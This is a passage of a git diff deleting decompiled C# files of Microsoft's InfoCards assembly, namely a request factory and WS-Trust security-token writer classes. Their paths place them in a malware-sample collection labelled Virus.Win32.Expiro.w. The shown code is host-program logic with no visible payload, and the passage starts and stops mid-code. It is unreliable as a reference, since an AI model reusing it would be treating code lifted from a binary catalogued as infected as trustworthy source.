- IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - ClientRequest clientRequestInstance = (ClientRequest) null; - lock (RequestFactory.s_createRequestSync) - { - if (string.IsNullOrEmpty(reqName)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - RequestFactory.RequestName requestName = RequestFactory.s_requestMap.ContainsKey(reqName) ? RequestFactory.s_requestMap[reqName] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - if (-1 != Array.IndexOf(RequestFactory.s_uiClientRequests, requestName)) - { - Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); - InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof (rpcHandle)); - int tSSession = 0; - if (!NativeMethods.ProcessIdToSessionId(contextMapping.Id, out tSSession)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientTSSession"), (Exception) new Win32Exception(lastWin32Error))); - } - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); - InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.GetBrowserTokenRequest: - clientRequestInstance = (ClientRequest) new GetBrowserTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetTokenRequest: - clientRequestInstance = (ClientRequest) new GetTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ImportRequest: - clientRequestInstance = (ClientRequest) new ImportRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ManageRequest: - clientRequestInstance = (ClientRequest) new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - else - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.CloseCryptoHandleRequest: - clientRequestInstance = (ClientRequest) new CloseCryptoHandleRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.DecryptRequest: - clientRequestInstance = (ClientRequest) new DecryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.EncryptRequest: - clientRequestInstance = (ClientRequest) new EncryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GenerateDerivedKeyRequest: - clientRequestInstance = (ClientRequest) new GenerateDerivedKeyRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetCryptoTransformRequest: - clientRequestInstance = (ClientRequest) new GetCryptoTransformRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetKeyedHashRequest: - clientRequestInstance = (ClientRequest) new GetKeyedHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashCoreRequest: - clientRequestInstance = (ClientRequest) new HashCoreRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashFinalRequest: - clientRequestInstance = (ClientRequest) new HashFinalRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.SignHashRequest: - clientRequestInstance = (ClientRequest) new SignHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformBlockRequest: - clientRequestInstance = (ClientRequest) new TransformBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformFinalBlockRequest: - clientRequestInstance = (ClientRequest) new TransformFinalBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.VerifyHashRequest: - clientRequestInstance = (ClientRequest) new VerifyHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - clientRequestInstance.Initialize(); - } - return clientRequestInstance; - } - - private static UIAgentRequest CreateUIAgentRequestInstance( - ClientUIRequest parentRequest, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - UIAgentRequest agentRequestInstance = (UIAgentRequest) null; - lock (RequestFactory.s_createRequestSync) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(reqName), "Null or empty request name"); - InfoCardTrace.Assert(RequestFactory.s_requestMap.ContainsKey(reqName), "Request map does not contain " + reqName); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.BeginCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new BeginCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new BeginSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CancelAsyncOperationRequest: - agentRequestInstance = (UIAgentRequest) new CancelAsyncOperationRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CreateCardRequest: - agentRequestInstance = (UIAgentRequest) new CreateCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CheckStoreFileValidityRequest: - agentRequestInstance = (UIAgentRequest) new CheckStoreFileValidityRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteCardRequest: - agentRequestInstance = (UIAgentRequest) new DeleteCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteStoreRequest: - agentRequestInstance = (UIAgentRequest) new DeleteStoreRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new EndCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new EndSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ExportFileRequest: - agentRequestInstance = (UIAgentRequest) new ExportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCertificateRequest: - agentRequestInstance = (UIAgentRequest) new GetCertificateRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportedCardRequest: - agentRequestInstance = (UIAgentRequest) new GetImportedCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportFileNameRequest: - agentRequestInstance = (UIAgentRequest) new GetImportFileNameRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerEntryForRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerEntryForRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetPolicyDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetPolicyDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientListRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new GetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ImportFileRequest: - agentRequestInstance = (UIAgentRequest) new ImportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.InfoCardListRequest: - agentRequestInstance = (UIAgentRequest) new InfoCardListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListCardsInFileRequest: - agentRequestInstance = (UIAgentRequest) new ListCardsInFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.QueryStoreStatusRequest: - agentRequestInstance = (UIAgentRequest) new QueryStoreStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ResolvePPIDRequest: - agentRequestInstance = (UIAgentRequest) new ResolvePPIDRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveCardRequest: - agentRequestInstance = (UIAgentRequest) new SaveCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveLedgerEntryRequest: - agentRequestInstance = (UIAgentRequest) new SaveLedgerEntryRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveRecipientRequest: - agentRequestInstance = (UIAgentRequest) new SaveRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SendAgentStatusRequest: - agentRequestInstance = (UIAgentRequest) new SendAgentStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new SetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UIEndRequest: - agentRequestInstance = (UIAgentRequest) new UIEndRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new BeginGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new EndGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListDependantCardsRequest: - agentRequestInstance = (UIAgentRequest) new ListDependantCardsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLastErrorDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetLastErrorDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetIsBrowserClientRequest: - agentRequestInstance = (UIAgentRequest) new GetIsBrowserClientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserLanguageRequest: - agentRequestInstance = (UIAgentRequest) new SetUserLanguageRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCardDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetCardDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UnlockCardRequest: - agentRequestInstance = (UIAgentRequest) new UnlockCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - agentRequestInstance.Initialize(); - } - return agentRequestInstance; - } - - private enum RequestName - { - CloseCryptoHandleRequest = 0, - DecryptRequest = 1, - EncryptRequest = 2, - GenerateDerivedKeyRequest = 3, - GetBrowserTokenRequest = 4, - GetCryptoTransformRequest = 5, - GetKeyedHashRequest = 6, - GetTokenRequest = 7, - HashCoreRequest = 8, - HashFinalRequest = 9, - ImportRequest = 10, // 0x0000000A - ManageRequest = 11, // 0x0000000B - SignHashRequest = 12, // 0x0000000C - TransformBlockRequest = 13, // 0x0000000D - TransformFinalBlockRequest = 14, // 0x0000000E - VerifyHashRequest = 15, // 0x0000000F - ClientRequestCount = 16, // 0x00000010 - AgentRequestCount = 38, // 0x00000026 - BeginCreateSecurityTokenRequest = 128, // 0x00000080 - BeginSelectCardRequest = 129, // 0x00000081 - CancelAsyncOperationRequest = 130, // 0x00000082 - CreateCardRequest = 131, // 0x00000083 - CheckStoreFileValidityRequest = 132, // 0x00000084 - DeleteCardRequest = 133, // 0x00000085 - DeleteStoreRequest = 134, // 0x00000086 - EndCreateSecurityTokenRequest = 135, // 0x00000087 - EndSelectCardRequest = 136, // 0x00000088 - ExportFileRequest = 137, // 0x00000089 - GetCertificateRequest = 138, // 0x0000008A - GetImportedCardRequest = 139, // 0x0000008B - GetImportFileNameRequest = 140, // 0x0000008C - GetLedgerEntryForRecipientRequest = 141, // 0x0000008D - GetLedgerRequest = 142, // 0x0000008E - GetPolicyDetailsRequest = 143, // 0x0000008F - GetRecipientListRequest = 144, // 0x00000090 - GetRecipientRequest = 145, // 0x00000091 - GetUserPreferenceRequest = 146, // 0x00000092 - ImportFileRequest = 147, // 0x00000093 - InfoCardListRequest = 148, // 0x00000094 - ListCardsInFileRequest = 149, // 0x00000095 - QueryStoreStatusRequest = 150, // 0x00000096 - ResolvePPIDRequest = 151, // 0x00000097 - SaveCardRequest = 152, // 0x00000098 - SaveLedgerEntryRequest = 153, // 0x00000099 - SaveRecipientRequest = 154, // 0x0000009A - SendAgentStatusRequest = 155, // 0x0000009B - SetUserPreferenceRequest = 156, // 0x0000009C - UIEndRequest = 157, // 0x0000009D - BeginGetFileNameFromUserRequest = 158, // 0x0000009E - EndGetFileNameFromUserRequest = 159, // 0x0000009F - ListDependantCardsRequest = 160, // 0x000000A0 - GetLastErrorDetailsRequest = 161, // 0x000000A1 - GetIsBrowserClientRequest = 162, // 0x000000A2 - SetUserLanguageRequest = 163, // 0x000000A3 - GetCardDetailsRequest = 164, // 0x000000A4 - UnlockCardRequest = 165, // 0x000000A5 - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityToken.cs deleted file mode 100644 index 42e4ccf2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityToken.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal abstract class RequestSecurityToken : BodyWriter - { - protected RequestSecurityTokenParameters m_rstParams; - protected RequestSecurityTokenSerializer m_serializer; - protected XmlDictionaryWriter m_xmlWriter; - - protected ProtocolProfile ProtocolVersionProfile => this.m_rstParams.Profile; - - protected InfoCardPolicy Policy => this.m_rstParams.Policy; - - protected RequestSecurityTokenSerializer Serializer - { - get => this.m_serializer; - set => this.m_serializer = value; - } - - protected XmlDictionaryWriter Writer - { - get => this.m_xmlWriter; - set => this.m_xmlWriter = value; - } - - protected string WstPrefix => this.ProtocolVersionProfile.WSTrust.DefaultPrefix; - - public RequestSecurityToken(RequestSecurityTokenParameters rstParams) - : base(false) - { - this.m_rstParams = rstParams; - } - - protected virtual void WriteRSTOpeningElement() - { - this.Writer.WriteStartElement(this.WstPrefix, this.ProtocolVersionProfile.WSTrust.RequestSecurityToken, this.ProtocolVersionProfile.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.ProtocolVersionProfile.WSTrust.Context, (string) null, this.m_rstParams.Context); - } - - protected virtual void WriteInfoCardReferenceElement() - { - if (this.m_rstParams.Card == null) - return; - this.Serializer.WriteInfoCardReferenceElement(this.m_rstParams.Card); - } - - protected virtual void WriteKeyTypeElement() => this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - - protected virtual void WriteKeySupportingElements() - { - if (this.Policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.ClientEntropyForSymmetric, "Should not be null"); - this.Serializer.WriteBinarySecretElement(new BinarySecretSecurityToken(this.m_rstParams.ClientEntropyForSymmetric)); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == this.Policy.KeyType) - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && !string.IsNullOrEmpty(this.Policy.OptionalRstParams.KeyWrapAlgorithm)) - this.Serializer.WriteKeyWrapAlgorithmElement(this.Policy.OptionalRstParams.KeyWrapAlgorithm); - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.RSAKey, "Should have been populated in asymmetric case"); - this.Serializer.WriteUseKeyElement(this.m_rstParams.RSAKey.GetXml()); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == this.Policy.KeyType, "Should be no proof key"); - } - - protected virtual void WriteRequestTypeElement() - { - if (!string.IsNullOrEmpty(this.Policy.RequestType)) - this.Serializer.WriteRequestTypeElement(this.Policy.RequestType); - else - this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - } - - protected virtual void WritePPIDElement() - { - if (this.m_rstParams.Card == null || !this.m_rstParams.Card.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - return; - this.Serializer.WritePPIDElement(Utility.CreateHash(this.m_rstParams.Card.Key, Convert.FromBase64String(this.Policy.ImmediateTokenRecipient.GetOrganizationIdentifier()), this.m_rstParams.Card.HashSalt)); - } - - protected virtual void WriteEncryptionAlgorithmElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptionAlgorithm)) - return; - this.Serializer.WriteEncryptionAlgorithmElement(this.Policy.OptionalRstParams.EncryptionAlgorithm); - } - - protected virtual void WriteClaimsElement() => this.Serializer.WriteClaimsElement(this.m_rstParams.DisclosedClaims, this.Policy.RequiredClaims, this.Policy.OptionalClaims); - - protected virtual void WriteDisplayTokenElement() - { - if (this.m_rstParams.Culture == null) - return; - this.Serializer.WriteDisplayTokenElement(this.m_rstParams.Culture); - } - - protected virtual void WriteTokenTypeElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.TokenType)) - return; - this.Serializer.WriteTokenTypeElement(this.Policy.OptionalRstParams.TokenType); - } - - protected virtual void WritePassOnElements() => this.Policy.OptionalRstParams.WritePassOnElements(this.Writer, this.ProtocolVersionProfile); - - protected virtual void WriteUnprocessedPolicyElements() - { - if (this.Policy.UnprocessedPolicyElements == null || this.Policy.UnprocessedPolicyElements.Length <= 0L) - return; - this.Serializer.WriteUnprocessedPolicyElements(this.Policy.UnprocessedPolicyElements); - } - - protected abstract void WriteSecondaryParametersElement(); - - protected virtual void WriteEndElement() => this.Writer.WriteEndElement(); - - protected abstract void WriteAppliesToElement(); - - protected virtual void InitializeWriters(XmlDictionaryWriter writer) - { - this.Writer = writer; - this.Serializer = new RequestSecurityTokenSerializer((XmlWriter) writer, this.ProtocolVersionProfile); - } - - protected override void OnWriteBodyContents(XmlDictionaryWriter writer) => this.CustomWriteBodyContents(writer); - - protected abstract void CustomWriteBodyContents(XmlDictionaryWriter writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs deleted file mode 100644 index dcaf96da..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForGetBrowserToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForGetBrowserToken : RequestSecurityToken - { - public RequestSecurityTokenForGetBrowserToken(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteKeyTypeElement() - { - InfoCardTrace.Assert(this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString() == this.Policy.GetKeyTypeString(), "Only no proof key allowed in browser case"); - this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - } - - protected override void WriteRequestTypeElement() => this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - - protected override void WriteAppliesToElement() => GetBrowserTokenRequest.WriteSourceUrlAppliesTo((XmlWriter) this.Writer, this.m_rstParams.BrowserTokenParams, this.ProtocolVersionProfile); - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims; - if (!flag) - return; - if (this.Policy.RelyingPartyPolicy != null) - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - else - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteKeyTypeElement(); - this.WriteRequestTypeElement(); - this.WriteAppliesToElement(); - this.WriteClaimsElement(); - this.WriteTokenTypeElement(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs deleted file mode 100644 index fa9bec51..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs +++ /dev/null @@ -1,88 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForRemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForRemoteTokenFactory : RequestSecurityToken - { - public RequestSecurityTokenForRemoteTokenFactory(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteAppliesToElement() - { - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.PolicyAppliesTo, this.m_rstParams.Version); - break; - case AppliesToBehaviorDecision.SendCustomAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.ImmediateTokenRecipient.Address, this.m_rstParams.Version); - break; - } - } - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims && !this.OptionalClaimsExceedCard(this.m_rstParams.Card, this.m_rstParams.Policy); - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - case AppliesToBehaviorDecision.SendCustomAppliesTo: - if (!flag) - break; - if (this.Policy.RelyingPartyPolicy != null) - { - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - break; - } - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - break; - default: - flag = false; - goto case AppliesToBehaviorDecision.SendRPAppliesTo; - } - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteRequestTypeElement(); - this.WriteInfoCardReferenceElement(); - this.WriteClaimsElement(); - this.WriteKeyTypeElement(); - this.WriteKeySupportingElements(); - this.WriteAppliesToElement(); - this.WritePPIDElement(); - this.WriteEncryptionAlgorithmElement(); - this.WritePassOnElements(); - this.WriteDisplayTokenElement(); - this.WriteUnprocessedPolicyElements(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - - private bool OptionalClaimsExceedCard(InfoCard card, InfoCardPolicy policy) - { - InfoCardClaimCollection claims = card.GetClaims(); - bool flag = false; - foreach (string optionalClaim in policy.OptionalClaims) - { - if (!claims.ContainsKey(optionalClaim)) - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenParameters.cs deleted file mode 100644 index 4c6a0528..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenParameters.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Security.Cryptography.Xml; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenParameters - { - private AddressingVersion m_addressingVersion; - private GetBrowserTokenParameters m_browserTokenParams; - private InfoCardPolicy m_policy; - private InfoCard m_card; - private bool m_discloseOptionalClaims; - private RSAKeyValue m_rsaKeyValue; - private byte[] m_clientEntropyForSymmetric; - private CultureInfo m_cultureInfo; - private string m_context; - private Dictionary m_disclosedClaims; - private ProtocolProfile m_profile; - - public AddressingVersion Version => this.m_addressingVersion; - - public GetBrowserTokenParameters BrowserTokenParams => this.m_browserTokenParams; - - public InfoCardPolicy Policy => this.m_policy; - - public InfoCard Card => this.m_card; - - public bool DiscloseOptionalClaims => this.m_discloseOptionalClaims; - - public RSAKeyValue RSAKey => this.m_rsaKeyValue; - - public byte[] ClientEntropyForSymmetric => this.m_clientEntropyForSymmetric; - - public CultureInfo Culture => 